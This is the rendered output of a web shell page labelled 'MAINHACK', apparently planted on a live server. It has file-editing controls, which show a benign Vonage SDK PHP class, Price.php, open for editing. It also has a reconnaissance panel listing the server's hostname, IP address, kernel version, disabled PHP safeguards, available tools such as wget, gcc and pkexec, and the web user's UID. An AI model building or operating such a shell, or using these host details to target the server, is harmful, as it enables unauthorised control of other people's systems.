[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Price.php
<?php declare(strict_types=1); namespace Vonage\Account; use JsonSerializable; use RuntimeException; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableInterface; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\JsonUnserializableInterface; use Vonage\Entity\NoRequestResponseTrait; use Vonage\Network; use function array_key_exists; use function ltrim; use function preg_replace; use function strtolower; abstract class Price implements EntityInterface, ArrayHydrateInterface { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; /** * @var array<string, mixed> */ protected $data = []; public function getCountryCode() { return $this->data['country_code']; } public function getCountryDisplayName(): ?string { return $this->data['country_display_name']; } public function getCountryName(): ?string { return $this->data['country_name']; } public function getDialingPrefix() { return $this->data['dialing_prefix']; } public function getDefaultPrice() { if (isset($this->data['default_price'])) { return $this->data['default_price']; } if (!array_key_exists('mt', $this->data)) { throw new RuntimeException( 'Unknown pricing for ' . $this->getCountryName() . ' (' . $this->getCountryCode() . ')' ); } return $this->data['mt']; } public function getCurrency(): ?string { return $this->data['currency']; } public function getNetworks() { return $this->data['networks']; } public function getPriceForNetwork($networkCode) { $networks = $this->getNetworks(); if (isset($networks[$networkCode])) { return $networks[$networkCode]->{$this->priceMethod}(); } return $this->getDefaultPrice(); } public function fromArray(array $data): void { // Convert CamelCase to snake_case as that's how we use array access in every other object $storage = []; foreach ($data as $k => $v) { $k = strtolower(ltrim(preg_replace('/[A-Z]([A-Z](?![a-z]))*/', '_$0', $k), '_')); // PrefixPrice fixes switch ($k) { case 'country': $k = 'country_code'; break; case 'name': $storage['country_display_name'] = $v; $storage['country_name'] = $v; break; case 'prefix': $k = 'dialing_prefix'; break; } $storage[$k] = $v; } // Create objects for all the nested networks too $networks = []; if (isset($data['networks'])) { foreach ($data['networks'] as $n) { if (isset($n['code'])) { $n['networkCode'] = $n['code']; unset($n['code']); } if (isset($n['network'])) { $n['networkName'] = $n['network']; unset($n['network']); } $network = new Network($n['networkCode'], $n['networkName']); $network->fromArray($n); $networks[$network->getCode()] = $network; } } $storage['networks'] = $networks; $this->data = $storage; } public function toArray(): array { return $this->data; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002